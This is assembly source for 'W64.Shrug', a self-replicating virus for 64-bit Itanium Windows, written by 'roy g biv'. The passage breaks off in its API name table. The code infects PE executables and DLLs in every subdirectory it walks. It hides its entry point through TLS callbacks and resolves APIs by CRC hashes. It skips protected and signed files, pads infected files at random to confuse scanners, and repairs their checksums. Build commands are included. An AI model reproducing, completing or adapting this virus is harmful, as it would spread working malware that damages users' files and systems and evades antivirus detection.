//W64.Shrug by roy g biv // //some of its features: //- parasitic direct action infector of PE exe/dll (but not looking at suffix) //- infects files in current directory and all subdirectories //- directory traversal is linked-list instead of recursive to reduce stack size //- reloc section inserter/last section appender //- EPO (TLS infection) //- code executes after ExitProcess() is called //- uses CRCs instead of API names //- uses SEH for common code exit //- no infect files with data outside of image (eg self-extractors) //- no infect files protected by SFC //- infected files are padded by random amounts to confuse tail scanners //- scans memory to find kernel address (no hard-coded addresses) //- correct file checksum without using imagehlp.dll :) 100% correct algorithm //--- // //to build this thing: //ias //---- //ias shrug64.asm //link shrug64.obj kernel32.lib user32.lib /section:.text,erw /entry:shrug /subsystem:console //--- // //We're in the middle of a phase transition: //a butterfly flapping its wings at //just the right moment could //cause a storm to happen. //-I'm trying to understand- //I'm at a moment in my life- //I don't know where to flap my wings. //(Danny Hillis) .global shrug# .include "shrug64.inc" .proc shrug shrug: alloc loc0 = 0, 3, 3, 0 mov out0 = 3 //ntdcrc_count add out1 = @ltoff(ntdnames), gp add out2 = @ltoff(ntdcrcbegin), gp br.call.sptk.many rp = create_crcs mov out0 = 17 //krncrc_count add out1 = @ltoff(krnnames), gp add out2 = @ltoff(krncrcbegin), gp br.call.sptk.many rp = create_crcs mov out0 = 1 //sfccrc_count add out1 = @ltoff(sfcnames), gp add out2 = @ltoff(sfccrcbegin), gp add loc1 = @ltoff(ntdll), gp br.call.sptk.many rp = create_crcs ld8 out0 = [loc1] mov loc2 = gp br.call.sptk.many rp = GetModuleHandleA mov gp = loc2 mov ar.pfs = loc0 mov r33 = 0 //fake reason mov rp = ret0 //fake return address //----------------------------------------------------------------------------- //code begins here in existing TLS callback pointer //----------------------------------------------------------------------------- shrug_tlscode1: mov r2 = ip host_patch: { addl r2 = do_message - shrug_tlscode1, r2 //must be addl, must be first in bundle nop.i 0 br.many shrug_common } ret_host: (p2) br.cond.sptk.few b1 (p3) br.ret.sptk.few b1 tlsdata: data8.ua 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .align 16 //----------------------------------------------------------------------------- //code begins here in created TLS directory / callback pointer //----------------------------------------------------------------------------- shrug_tlscode2: //in0, in1, in2 = DllHandle, Reason, Reserved mov r2 = rp shrug_common: alloc loc0 = 3, 15, 7, 0 //must match init_findmz! mov loc1 = r2 mov loc2 = gp mov loc3 = sp mov loc4 = rp cmp.ne p1 = 0, in1 //execute only on PROCESS_DETACH shrug_dllret: (p1) mov sp = loc3 (p1) mov b1 = loc1 (p1) mov rp = loc4 (p1) mov gp = loc2 (p1) mov ar.pfs = loc0 mov out0 = rp (p1) cmp.ne p2, p3 = loc4, loc1 (p1) br.cond.sptk.few ret_host br.call.sptk.few rp = init_findmz //----------------------------------------------------------------------------- //API CRC table, null terminated //----------------------------------------------------------------------------- ntdcrcbegin: kLdrGetDllHandle :data4.ua 0 kAddVectoredExceptionHandler :data4.ua 0 kRemoveVectoredExceptionHandler:data4.ua 0 data4.ua 0 ntdcrcend: data4.ua load_krn - ntdcrcend string "Shrug - roy g biv" //your guess is as good as mine .align 16 cLdrGetDllHandle = ((ntdcrcend - kLdrGetDllHandle - 4) << 2) + 0x20 //----------------------------------------------------------------------------- //oversize register allocation to work around assembler bug in v6.00.2111 //bug is that assembler does not keep list of alloc, but simply uses last one //this results in incorrect register naming for nested procedures //----------------------------------------------------------------------------- init_findmz: alloc loc0 = 3, 15, 7, 0 //must match shrug_common! mov loc5 = rp dep out0 = 0, in0, 0, 16 //64kb align find_mzhdr: //----------------------------------------------------------------------------- //do not use hard-coded kernel address values because it is not portable //Microsoft used all different values for 95, 98, NT, 2000, Me, XP, 2003 //they will maybe change again for every new release //----------------------------------------------------------------------------- dep.z loc6 = -1, 16, 48 br.call.sptk.few rp = is_pehdr { .pred.rel "mutex", p1, p2 (p1) add loc6 = peexport, ret0;; (p1) ld4 loc6 = [loc6] (p2) add out0 = loc6, out0 } (p1) add loc6 = loc6, out0 (p2) br.cond.sptk.few find_mzhdr //----------------------------------------------------------------------------- //parse export table //----------------------------------------------------------------------------- add loc6 = 28, loc6 movl loc7 = 0x4c11db7 //use generator polymonial (see IEEE 802) ld4 loc8 = [loc6], 4 //Export Address Table RVA ld8 loc6 = [loc6] //Name Pointer Table RVA, Ordinal Table RVA add loc8 = loc8, out0 ld4 loc9 = [loc5], 4 shr.u loc10 = loc6, 32 extr.u loc6 = loc6, 0, 32 add loc10 = loc10, out0 add loc11 = loc6, out0 add loc6 = loc6, out0 get_export: ld4 loc12 = [loc6], 4 add loc12 = loc12, out0 //Name Pointer VA or loc13 = -1, r0 crc_outer: ld1 loc14 = [loc12], 1 xor loc13 = loc13, loc14 mov ar.lc = 7 crc_inner: tbit.nz p1 = loc13, 31 shl loc13 = loc13, 1 (p1) xor loc13 = loc13, loc7 br.cloop.sptk.few crc_inner cmp.eq p1, p2 = 0, loc14 (p1) cmp4.ne p1 = loc13, loc9 (p2) br.cond.sptk.few crc_outer (p1) br.cond.sptk.few get_export //----------------------------------------------------------------------------- //exports must be sorted alphabetically, otherwise GetProcAddress() would fail //this allows to push addresses onto the stack, and the order is known //----------------------------------------------------------------------------- ld4 loc9 = [loc5], 4 sub loc12 = loc6, loc11 //Name Pointer Table VA shr.u loc12 = loc12, 1 cmp.eq p1, p2 = 0, loc9 add loc12 = loc12, loc10 add loc12 = -2, loc12 ld2 loc12 = [loc12];; //get export ordinal (p1) ld4 loc9 = [loc5] shladd loc12 = loc12, 2, loc8 ld4 loc12 = [loc12] //get export RVA (p1) add loc9 = loc9, loc5 add loc12 = loc12, out0 st8 [sp] = loc12, -16 (p1) mov rp = loc9 (p2) br.cond.sptk.many get_export br.ret.sptk.many rp //----------------------------------------------------------------------------- //get imagebase of kernel32 for familiar APIs, rather than calling through ntdll //this is required because it is ntdll that calls the TLS entrypoint //----------------------------------------------------------------------------- load_krn: mov out0 = 1 mov out1 = 0 add out2 = -8, sp mov loc5 = 0x120010 movl loc6 = 0x6e00720065006b st8 [out2] = sp, -8 movl loc7 = 0x320033006c0065 //"kernel32" in Unicode st8 [sp] = loc6, 8 st8 [out2] = loc5 st8 [sp] = loc7, -40 mov loc8 = sp mov out3 = sp add r2 = cLdrGetDllHandle, sp st8 [sp] = sp, -16 br.call.sptk.few rp = call_api ld8 out0 = [loc8] br.call.sptk.few rp = init_findmz //----------------------------------------------------------------------------- //API CRC table, null terminated //----------------------------------------------------------------------------- krncrcbegin: kCloseHandle :data4.ua 0 kCreateFileMappingA :data4.ua 0 kCreateFileW :data4.ua 0 kFindClose :data4.ua 0 kFindFirstFileW :data4.ua 0 kFindNextFileW :data4.ua 0 kGetFullPathNameW :data4.ua 0 kGetTickCount :data4.ua 0 kGlobalAlloc :data4.ua 0 kGlobalFree :data4.ua 0 kLoadLibraryA :data4.ua 0 kMapViewOfFile :data4.ua 0 kSetCurrentDirectoryA :data4.ua 0 kSetCurrentDirectoryW :data4.ua 0 kSetFileAttributesW :data4.ua 0 kSetFileTime :data4.ua 0 kUnmapViewOfFile :data4.ua 0 data4.ua 0 krncrcend: data4.ua check_sfc - krncrcend .align 16 cLoadLibraryA = (krncrcend - kLoadLibraryA - 4) << 2 //----------------------------------------------------------------------------- //get SFC support //----------------------------------------------------------------------------- check_sfc: mov out0 = sp movl loc5 = 0x736f5f636673 //"sfc_os" - Windows XP/2003 (forwarder chain from sfc.dll) add r2 = cLoadLibraryA, sp st8 [sp] = loc5, -16 br.call.sptk.few rp = call_api mov out0 = ret0 br.call.sptk.few rp = init_findmz //----------------------------------------------------------------------------- //API CRC table, null terminated //----------------------------------------------------------------------------- sfccrcbegin: kSfcIsFileProtected: data4.ua 0 data4.ua 0 sfccrcend: data4.ua scan_dirinit - sfccrcend .align 16 cAddVectoredExceptionHandler = ((ntdcrcend - kAddVectoredExceptionHandler - 4) << 2) + ((krncrcend - krncrcbegin - 4) << 2) + ((sfccrcend - sfccrcbegin - 4) << 2) + 0x50 cCloseHandle = ((krncrcend - kCloseHandle - 4) << 2) + 0x30 cCreateFileMappingA = ((krncrcend - kCreateFileMappingA - 4) << 2) + 0x30 cCreateFileW = ((krncrcend - kCreateFileW - 4) << 2) + 0x30 cFindClose = ((krncrcend - kFindClose - 4) << 2) + 0x30 cFindFirstFileW = ((krncrcend - kFindFirstFileW - 4) << 2) + 0x30 cFindNextFileW = ((krncrcend - kFindNextFileW - 4) << 2) + 0x30 cGetFullPathNameW = ((krncrcend - kGetFullPathNameW - 4) << 2) + 0x30 cGetTickCount = ((krncrcend - kGetTickCount - 4) << 2) + 0x30 cGlobalAlloc = ((krncrcend - kGlobalAlloc - 4) << 2) + 0x30 cGlobalFree = ((krncrcend - kGlobalFree - 4) << 2) + 0x30 cMapViewOfFile = ((krncrcend - kMapViewOfFile - 4) << 2) + 0x30 cRemoveVectoredExceptionHandler = ((ntdcrcend - kRemoveVectoredExceptionHandler - 4) << 2) + ((krncrcend - krncrcbegin - 4) << 2) + ((sfccrcend - sfccrcbegin - 4) << 2) + 0x50 cSetCurrentDirectoryA = ((krncrcend - kSetCurrentDirectoryA - 4) << 2) + 0x30 cSetCurrentDirectoryW = ((krncrcend - kSetCurrentDirectoryW - 4) << 2) + 0x30 cSetFileAttributesW = ((krncrcend - kSetFileAttributesW - 4) << 2) + 0x30 cSetFileTime = ((krncrcend - kSetFileTime - 4) << 2) + 0x30 cUnmapViewOfFile = ((krncrcend - kUnmapViewOfFile - 4) << 2) + 0x30 cSfcIsFileProtected = ((sfccrcend - kSfcIsFileProtected - 4) << 2) + 0x10 //----------------------------------------------------------------------------- //non-recursive directory traverser //----------------------------------------------------------------------------- scan_dirinit: mov loc5 = sp add loc6 = -size_findlist - 0x10, sp mov loc7 = 0x2a //'*' mov loc8 = 0x2e2e //'..' st8 [loc5] = loc7, -16 st8 [loc6] = r0 //zero findprev in findlist st8 [loc5] = loc8 add sp = -16, loc6 scan_dir: add out0 = 16, loc5 add out1 = finddata, loc6 add r2 = cFindFirstFileW, loc5 br.call.sptk.few rp = call_api cmp.eq p1, p2 = -1, ret0 (p1) br.cond.spnt.few find_prev add loc7 = findhand, loc6 st8 [loc7] = ret0 //you must always step forward from where you stand test_dirfile: add loc7 = finddata + dwFileAttributes, loc6 ld4 loc7 = [loc7] add out0 = finddata + cFileName, loc6 ld1 loc8 = [out0] tbit.nz p1, p2 = loc7, FILE_ATTRIBUTE_DIRECTORY (p1) cmp.eq p1 = 0x2e, loc8 //ignore . and .. (but also .* directories) (p2) br.cond.sptk.few test_file (p1) br.cond.spnt.few find_next //----------------------------------------------------------------------------- //enter subdirectory, and allocate another list node //----------------------------------------------------------------------------- add r2 = cSetCurrentDirectoryW, loc5 br.call.sptk.few rp = call_api cmp.eq p1, p2 = 0, ret0 (p2) mov out0 = GMEM_FIXED (p2) mov out1 = size_findlist (p2) add r2 = cGlobalAlloc, loc5 (p1) br.cond.spnt.few find_next br.call.sptk.few rp = call_api cmp.eq p1 = 0, ret0 (p1) br.cond.spnt.few step_updir st8 [ret0] = loc6 //findlist.findprev mov loc6 = ret0 br.few scan_dir find_next: add out0 = findhand, loc6 add out1 = finddata, loc6 add r2 = cFindNextFileW, loc5 ld8 out0 = [out0] br.call.sptk.few rp = call_api cmp.eq p1, p2 = 0, ret0 (p1) add out0 = findhand, loc6 (p1) add r2 = cFindClose, loc5 (p1) ld8 out0 = [out0] (p2) br.cond.sptk.few test_dirfile //----------------------------------------------------------------------------- //close find, and free list node if not list head //----------------------------------------------------------------------------- br.call.sptk.few rp = call_api find_prev: ld8 loc7 = [loc6] //findlist.findprev cmp.eq p1, p2 = 0, loc7 (p2) mov out0 = loc6 (p2) mov loc6 = loc7 (p2) add r2 = cGlobalFree, loc5 (p1) br.cond.spnt.few shrug_dllret //game over br.call.sptk.few rp = call_api step_updir: //----------------------------------------------------------------------------- //the ANSI string ".." can be used, even on Unicode platforms //----------------------------------------------------------------------------- mov out0 = loc5 add r2 = cSetCurrentDirectoryA, loc5 br.call.sptk.few rp = call_api .align 16 //cannot be in same bundle br.few find_next test_file: //----------------------------------------------------------------------------- //get full path //----------------------------------------------------------------------------- mov loc10 = sp add loc9 = ((-MAX_PATH - 7) * 2) & -0x10, sp mov loc8 = out0 mov out1 = MAX_PATH mov out2 = loc9 mov out3 = sp add sp = -16, loc9 add r2 = cGetFullPathNameW, loc5 br.call.sptk.few rp = call_api //----------------------------------------------------------------------------- //don't touch protected files //----------------------------------------------------------------------------- mov out0 = 0 mov out1 = loc9 add r2 = cSfcIsFileProtected, loc5 br.call.sptk.few rp = call_api mov sp = loc10 cmp.ne p1 = 0, ret0 (p1) br.cond.spnt.few find_next //----------------------------------------------------------------------------- //reset read-only file attribute //----------------------------------------------------------------------------- mov out0 = loc8 mov out1 = 0 add r2 = cSetFileAttributesW, loc5 br.call.sptk.few rp = call_api mov out4 = OPEN_EXISTING mov out5 = 0 mov out6 = 0 mov out0 = loc8 dep.z out1 = out4, 30, 2 //GENERIC_READ | GENERIC_WRITE mov out2 = 0 mov out3 = 0 add r2 = cCreateFileW, loc5 br.call.sptk.few rp = call_api mov loc9 = ret0 mov out0 = loc5 mov out1 = ret0 mov out2 = loc6 mov out3 = loc2 br.call.sptk.many rp = test_infect cmp.ne p1 = 0, ret0 (p1) br.call.sptk.many rp = infect_file //Super Nashwan power ;) delta_label: mov out0 = loc9 mov out1 = 0 add out2 = finddata + ftLastAccessTime, loc6 add out3 = finddata + ftLastWriteTime, loc6 add r2 = cSetFileTime, loc5 br.call.sptk.few rp = call_api mov out0 = loc9 add r2 = cCloseHandle, loc5 br.call.sptk.few rp = call_api mov out0 = loc8 mov out1 = loc7 //restore original file attributes add r2 = cSetFileAttributesW, loc5 br.call.sptk.few rp = call_api .align 16 //cannot be in same bundle br.few find_next string "06/05/04" //03, 02, 01... launch on 64-bit! .align 16 .endp shrug //----------------------------------------------------------------------------- //look for MZ and PE file signatures //----------------------------------------------------------------------------- .proc is_pehdr is_pehdr: ld2 r30 = [in0], mzlfanew mov r31 = 0x5a4d //'ZM' - Windows does not check 'MZ' cmp.eq p1, p2 = r30, r31 ld4 r30 = [in0], -mzlfanew (p1) cmp.ltu p1, p2 = r30, r31 (p1) add ret0 = r30, in0 (p1) ld4 r30 = [ret0] (p1) mov r31 = 0x4550 //'EP' (p1) cmp.eq p1, p2 = r30, r31 br.ret.sptk.many rp //if PE file, then p1 = 1, ret0 -> COFF header .endp is_pehdr //----------------------------------------------------------------------------- //test if file is infectable (not protected, PE, IA64, non-system, not infected, etc) //----------------------------------------------------------------------------- .proc test_infect test_infect: //in0 -> platform APIs, in1 = file handle, in2 -> findlist, in3 = gp alloc loc0 = 4, 17, 5, 0 //must match infect_file! mov loc1 = rp mov out0 = in0 mov out1 = in1 mov out2 = in2 mov out3 = in3 mov out4 = 0 mov loc5 = 0 br.call.sptk.many rp = map_view mov loc6 = IMAGE_FILE_MACHINE_IA64 mov loc4 = ret2 mov loc3 = ret1 mov loc2 = ret0 mov out0 = ret0 br.call.sptk.few rp = is_pehdr (p1) add out0 = finddata + dwFileSizeLow, in2 (p1) add loc7 = pemachine, ret0 (p1) add loc8 = pesubsys, ret0 (p1) ld2 loc9 = [loc7], 18 (p1) ld2 loc10 = [loc8], 3 (p1) add loc11 = pesecurity, ret0 (p1) ld2 loc12 = [loc7], -16 (p1) ld1 loc8 = [loc8] (p1) cmp.eq p1 = loc9, loc6 //only Intel Itanium (p1) ld2 loc6 = [loc7], 14 //----------------------------------------------------------------------------- //IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them //executable file... //----------------------------------------------------------------------------- (p1) mov loc9 = IMAGE_FILE_SYSTEM | IMAGE_FILE_UP_SYSTEM_ONLY | IMAGE_FILE_EXECUTABLE_IMAGE (p1) and loc12 = loc12, loc9 (p1) cmp.eq p1 = IMAGE_FILE_EXECUTABLE_IMAGE, loc12 (p1) ld4 loc11 = [loc11] (p1) ld4 out1 = [out0] //----------------------------------------------------------------------------- //the COFF magic value is not checked because Windows ignores it anyway //IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+ //----------------------------------------------------------------------------- (p1) cmp.geu p1 = IMAGE_SUBSYSTEM_WINDOWS_CUI, loc10 (p1) cmp.leu p1 = IMAGE_SUBSYSTEM_WINDOWS_GUI, loc10 (p1) ld2 loc7 = [loc7] (p1) tbit.z p1 = loc8, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER //----------------------------------------------------------------------------- //avoid files which seem to contain attribute certificates //because one of those certificates might be a digital signature //----------------------------------------------------------------------------- (p1) cmp.eq p1 = 0, loc11 //----------------------------------------------------------------------------- //cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size //the Optional Header can be larger than the offset of the last directory //remember: even if you have not seen it does not mean that it does not happen :) //----------------------------------------------------------------------------- (p1) add loc8 = pefilealign, ret0 (p1) add loc7 = loc7, ret0 (p1) shladd loc6 = loc6, 2, loc6 //multiply by 5 (p1) ld4 loc8 = [loc8] (p1) shladd loc6 = loc6, 3, loc7 //complete multiply by 28h (size pesect) (p1) ld4 loc7 = [loc6], 4 (p1) ld4 loc9 = [loc6] (p1) add loc8 = loc8, out1 (p1) add loc7 = loc9, loc7 (p1) cmp.eq p1 = out1, loc7 //file contains appended data (p1) st4 [out0] = loc8 (p1) mov loc5 = loc8 //non-zero //----------------------------------------------------------------------------- //exception must be in M slot, since continuation occurs from same slot, //even if IP is moved to another location //----------------------------------------------------------------------------- .align 16 ld1 ret0 = [r0] .endp test_infect //----------------------------------------------------------------------------- //increase file size by random value (between RANDPADMIN and RANDPADMAX bytes) //----------------------------------------------------------------------------- .proc open_append open_append: alloc loc0 = 5, 3, 0, 0 mov loc1 = rp mov loc2 = RANDPADMAX - 1 add r2 = cGetTickCount, in0 br.call.sptk.few rp = call_api mov rp = loc1 and ret0 = loc2, ret0 add in4 = shrug_codeend - shrug_tlscode1 + RANDPADMIN, ret0 mov ar.pfs = loc0 .endp open_append //----------------------------------------------------------------------------- //create file map, and map view if successful //----------------------------------------------------------------------------- .proc map_view map_view: //in0 -> platform APIs, in1 = file handle, in2 -> findlist, in3 = gp, in4 = extra bytes to map alloc loc0 = 5, 5, 6, 0 mov out0 = ip //non-zero, must be in first bundle add out1 = -8, sp add r2 = cAddVectoredExceptionHandler, in0 mov loc1 = rp add out0 = unmap_seh - map_view, out0;; st8 [sp] = in3, -16 st8 [out1] = out0 br.call.sptk.few rp = call_api mov loc2 = ret0 add out4 = finddata + dwFileSizeLow, in2 mov out0 = in1 mov out1 = 0 ld4 out4 = [out4] mov out2 = PAGE_READWRITE mov out3 = 0 add out4 = out4, in4 mov out5 = 0 add r2 = cCreateFileMappingA, in0 //ANSI map is allowed because of no name mov loc3 = out4 br.call.sptk.few rp = call_api mov loc4 = ret0 mov out0 = ret0 mov out1 = FILE_MAP_WRITE mov out2 = 0 mov out3 = 0 mov out4 = loc3 add r2 = cMapViewOfFile, in0 br.call.sptk.few rp = call_api //should succeed even if file cannot be opened mov ret2 = loc4 mov ret1 = loc2 mov rp = loc1 mov ret3 = loc3 mov ar.pfs = loc0 br.ret.sptk.many rp //ret0 = map view, ret1 = exception handle, ret2 = map handle, ret3 = new file size unmap_seh: mov r31 = ip //must be in first bundle add in0 = 8, in0 ld8 in0 = [in0] add in0 = ContextRecord_StIIP, in0 add r31 = unmap_view - unmap_seh, r31 st8 [in0] = r31 mov ret0 = EXCEPTION_CONTINUE_EXECUTION br.ret.sptk.few rp unmap_view: //----------------------------------------------------------------------------- //hard-coded registers to work around assembler bug in v6.00.2111 //bug is that assembler does not keep list of alloc, but simply uses last one //this results in incorrect register naming for nested procedures //----------------------------------------------------------------------------- mov r53 = r39 //mov out0 = loc3 add r2 = cRemoveVectoredExceptionHandler, in0 br.call.sptk.few rp = call_api mov r53 = r38 //mov out0 = loc2 add r2 = cUnmapViewOfFile, in0 br.call.sptk.few rp = call_api mov r53 = r40 //mov out0 = loc4 add r2 = cCloseHandle, in0 br.call.sptk.few rp = call_api add sp = 16, sp mov ret0 = r41 //mov ret0 = loc5 mov rp = r37 //mov rp = loc1 mov ar.pfs = r36 //mov ar.pfs = loc0 br.ret.sptk.many rp .endp map_view //----------------------------------------------------------------------------- //infect file using TLS method //algorithm: increase file size by random amount (RANDPADMIN-RANDPADMAX // bytes) to confuse scanners that look at end of file (also // infection marker) // if reloc table is not in last section (taken from relocation // field in PE header, not section name), then append to last // section. otherwise, move relocs down and insert code into // space (to confuse people looking at end of file. they will // see only relocation data and many zeroes) //infection: Entry Point Obscured via TLS callback function // if no TLS directory exists, then one will be created, with a // single callback function that points to this code // if a TLS directory exists, but no callback functions exist, // then a function pointer will be created that points to this // code // else if a TLS directory and callback functions exist, then the // first function pointer will be altered to point to this code //----------------------------------------------------------------------------- .proc infect_file infect_file: //in2 -> findlist, ret0 = map view alloc loc0 = 4, 17, 5, 0 //must match test_infect! mov loc1 = rp mov out0 = in0 mov out1 = in1 mov out2 = in2 mov out3 = in3 mov loc9 = shrug_codeend - shrug_tlscode1 - 1 br.call.sptk.many rp = open_append add loc5 = mzlfanew, ret0 ld4 loc5 = [loc5] mov loc2 = ret0 add loc5 = loc5, ret0 add loc6 = pesectcount, loc5 add loc7 = pesectalign, loc5 ld2 out0 = [loc6], 14 ld8 loc7 = [loc7] mov loc3 = ret1 ld2 loc8 = [loc6], 2 shladd out0 = out0, 2, out0 //multiply by 5 shladd out0 = out0, 3, loc8 //complete multiply by 28h (size pesect) add out0 = out0, loc5 ld4 loc8 = [out0], 4 shr.u loc10 = loc7, 32 ld4 loc11 = [out0], -4 add loc12 = loc9, loc8, 1 add loc10 = -1, loc10 add loc12 = loc12, loc10 andcm loc12 = loc12, loc10 //file align last section st4 [out0] = loc12, -8 //----------------------------------------------------------------------------- //raw size is file aligned. virtual size is not required to be section aligned //so if old virtual size is larger than new raw size, then size of image does //not need to be updated, else virtual size must be large enough to cover the //new code, and size of image is section aligned //----------------------------------------------------------------------------- ld8 loc10 = [out0] mov loc4 = ret2 shr.u loc13 = loc10, 32 cmp4.ltu p1 = loc10, loc12 (p1) add loc7 = -1, loc7 (p1) st4 [out0] = loc12 (p1) mov loc10 = loc12 (p1) add loc12 = loc13, loc12 (p1) add loc12 = loc12, loc7 (p1) andcm loc12 = loc12, loc7 ld1 loc6 = [loc6] (p1) add loc14 = peimagesize, loc5 (p1) st4 [loc14] = loc12 //----------------------------------------------------------------------------- //if relocation table is not in last section, then append to last section //otherwise, move relocations down and insert code into space //----------------------------------------------------------------------------- tbit.z p1 = loc6, IMAGE_FILE_RELOCS_STRIPPED (p1) add loc6 = pereloc, loc5 (p1) ld4 loc7 = [loc6] (p1) add loc10 = loc13, loc10 (p1) cmp4.geu p1 = loc7, loc13 (p1) cmp4.ltu p1 = loc7, loc10 (p1) add loc7 = loc9, loc7, 1 (p1) st4 [loc6] = loc7 (p1) add loc6 = loc11, loc2 (p1) add loc7 = loc8, loc6 (p1) add loc7 = -1, loc7 (p1) add loc6 = loc9, loc7, 1 mov ar.lc = loc9 copy_reloc: (p1) ld1 loc10 = [loc7], -1 (p1) st1 [loc6] = loc10, -1 (p1) add loc8 = -1, loc8 (p1) cmp.ne p1 = 0, loc8 (p1) br.cond.sptk.few copy_reloc add loc13 = loc13, loc8 add loc8 = loc11, loc8 add loc10 = loc2, loc8 add loc6 = shrug_tlscode1 - delta_label, loc1 ld1 loc7 = [loc6], 1 add loc8 = loc2, loc8 copy_code: st1 [loc8] = loc7, 1 ld1 loc7 = [loc6], 1 br.cloop.sptk.few copy_code //----------------------------------------------------------------------------- //section attributes are always altered to executable because IA64 requires it //----------------------------------------------------------------------------- add loc6 = sectflags - sectvirtsize + 3, out0 ld1 loc7 = [loc6] add loc8 = peimagebase, loc5 or loc7 = IMAGE_SCN_MEM_EXECUTE >> 24, loc7 //----------------------------------------------------------------------------- //if tls directory exists... //----------------------------------------------------------------------------- add loc9 = petls, loc5 add out2 = peglobal, loc5 ld4 loc8 = [loc8] ld4 out1 = [loc9] cmp.eq p1 = 0, out1 (p1) br.cond.sptk.few add_tlsdir //size field is never checked br.call.sptk.few rp = rva2raw add loc13 = loc13, loc8 add loc11 = loc2, ret0 add loc11 = tlsfuncptr, loc11 ld8 loc12 = [loc11] cmp.ne p1 = 0, loc12 (p1) sub out1 = loc12, loc8 (p1) br.call.sptk.few rp = rva2raw (p1) add loc12 = ret0, loc2 (p1) ld8 loc12 = [loc12] (p1) sub out1 = loc12, loc8 //it is impossible if it passes unattempted cmp.ne p1 = 0, loc12 (p1) br.call.sptk.few rp = rva2raw (p1) add loc12 = ret0, loc2 (p1) xchg8 loc11 = [loc12], loc13 (p1) sub loc11 = loc11, loc13 (p1) shr.u loc12 = loc11, 21 add loc13 = tlsdata - shrug_tlscode1 + tlsfunc, loc13 (p1) shr.u loc14 = loc11, 7 (p1) shr.u loc15 = loc11, 16 (p1) movl loc13 = 0x240004001010 add loc10 = tlsdata - shrug_tlscode1 + tlsfunc, loc10 (p1) dep loc13 = loc11, loc13, 18, 7 (p1) dep loc14 = loc12, loc14, 9, 1 (p1) add loc11 = host_patch - tlsdata - tlsfunc, loc10 (p1) dep loc15 = loc14, loc15, 5, 10 (p1) dep loc13 = loc15, loc13, 27, 15 //form imm22 st8 [loc11] = loc13 (p1) br.cond.sptk.few checksum_file //----------------------------------------------------------------------------- //section attributes are altered to writable when a TLS directory is created. //at that time, a writable dword must be available for the index. //the alternative is to search for a writable section with virtual size > raw //size, set index pointer to that address and reinitialise it to zero in code //----------------------------------------------------------------------------- add_tlsdir: sub out1 = 0, loc8 (p1) dep loc7 = 1, loc7, IMAGE_SCN_MEM_WRITE, 1 (p1) add loc13 = tlsdata - shrug_tlscode1, loc13 (p1) st8 [loc9] = loc13 (p1) add loc13 = loc13, loc8 (p1) add loc13 = tlsflags - tlsrawbeg, loc13 (p1) add loc10 = tlsdata - shrug_tlscode1 + tlsindex, loc10 (p1) st8 [loc10] = loc13, 8 (p1) add loc13 = tlsfunc - tlsflags, loc13 (p1) st8 [loc10] = loc13, 16 add loc13 = tlsfuncind - tlsfunc, loc13 add out1 = out1, loc13 st8 [loc10] = loc13 add loc13 = shrug_tlscode2 - tlsdata - tlsfuncind, loc13 br.call.sptk.few rp = rva2raw ld4 loc9 = [out2] add ret0 = ret0, loc2 add loc9 = loc9, loc8 st8 [ret0] = loc13, 8 st8 [ret0] = loc9 //----------------------------------------------------------------------------- //CheckSumMappedFile() - simply sum of all words in file, then adc filesize //----------------------------------------------------------------------------- checksum_file: st1 [loc6] = loc7 add loc5 = pechksum, loc5 mov loc6 = 0 xchg4 loc7 = [loc5], loc6 cmp.ne p1 = 0, loc7 (p1) add loc8 = 1, ret3 (p1) shr.u loc8 = loc8, 1 calc_checksum: (p1) ld2 loc9 = [loc2], 2 (p1) add loc8 = -1, loc8 (p1) add loc6 = loc9, loc6 (p1) cmp.ne.unc p1, p2 = 0, loc8 (p1) br.cond.sptk.few calc_checksum (p2) shr.u loc7 = loc6, 16 (p2) extr.u loc6 = loc6, 0, 16 (p2) add loc7 = loc7, loc6 (p2) extr.u loc6 = loc7, 0, 16 (p2) extr.u loc7 = loc7, 16, 1 //avoid common bug. ADC not ADD (p2) add loc6 = loc7, loc6 (p2) add loc6 = loc6, ret3 (p2) st4 [loc5] = loc6 //----------------------------------------------------------------------------- //exception must be in M slot, since continuation occurs from same slot, //even if IP is moved to another location //----------------------------------------------------------------------------- .align 16 ld1 ret0 = [r0] string "*4U2NV*" //that is, unless you're reading this .align 16 .endp infect_file //----------------------------------------------------------------------------- //convert relative virtual address to raw file offset //----------------------------------------------------------------------------- .proc rva2raw rva2raw: add r31 = sectvirtaddr - sectvirtsize, in0 rvaloop: ld4 r30 = [r31], sectrawaddr - sectvirtaddr cmp.gtu p2, p3 = r30, in1 (p3) sub ret0 = in1, r30 (p3) ld4 r29 = [r31] (p2) add r31 = -size_pesect + sectvirtaddr - sectrawaddr, r31 (p3) add ret0 = r29, ret0 (p2) br.cond.sptk.few rvaloop br.ret.sptk.many rp .endp rva2raw .proc call_api call_api: ld8 r2 = [r2] ld8 r3 = [r2], 8 ld8 gp = [r2] mov b1 = r3 br.few b1 .endp call_api //When last comes to last, // I have little power: // I am merely an urn. //I hold the bone-sap of myself, // And watch the marrow burn. // //When last comes to last, // I have little strength: // I am only a tool. //I work its work; and in its hands // I am the shrugl. // //When last comes to last, // I have little life. // I am simply a deed: //an action done while courage holds: // A seed. //(Stephen Donaldson) .align 16 shrug_codeend: .proc create_crcs create_crcs: alloc loc0 = 3, 5, 0, 0 mov loc1 = rp ld8 in1 = [in1] ld8 in2 = [in2] movl loc2 = 0x4c11db7 create_loop: or loc3 = -1, r0 create_outer: ld1 loc4 = [in1], 1 xor loc3 = loc3, loc4 mov ar.lc = 7 create_inner: tbit.nz p1 = loc3, 31 shl loc3 = loc3, 1 (p1) xor loc3 = loc3, loc2 br.cloop.sptk.few create_inner cmp.ne p1 = 0, loc4 (p1) br.cond.sptk.few create_outer st4 [in2] = loc3, 4 add in0 = -1, in0 cmp.ne p1 = 0, in0 (p1) br.cond.sptk.few create_loop mov ar.pfs = loc0 br.ret.sptk.many rp .endp create_crcs .proc do_message do_message: alloc loc0 = 0, 2, 4, 0 add out1 = @ltoff(txtbody), gp add out2 = @ltoff(txttitle), gp ld8 out1 = [out1] ld8 out2 = [out2] mov out0 = 0 mov loc1 = gp mov out3 = 0 br.call.sptk.many rp = MessageBoxA mov gp = loc1 br.call.sptk.few rp = ExitProcess .endp do_message //must be alphabetical order //API names are not present in replications, only in dropper ntdnames: stringz "LdrGetDllHandle" stringz "RtlAddVectoredExceptionHandler" stringz "RtlRemoveVectoredExceptionHandler" krnnames: stringz "CloseHandle" stringz "CreateFileMappingA" stringz "CreateFileW" 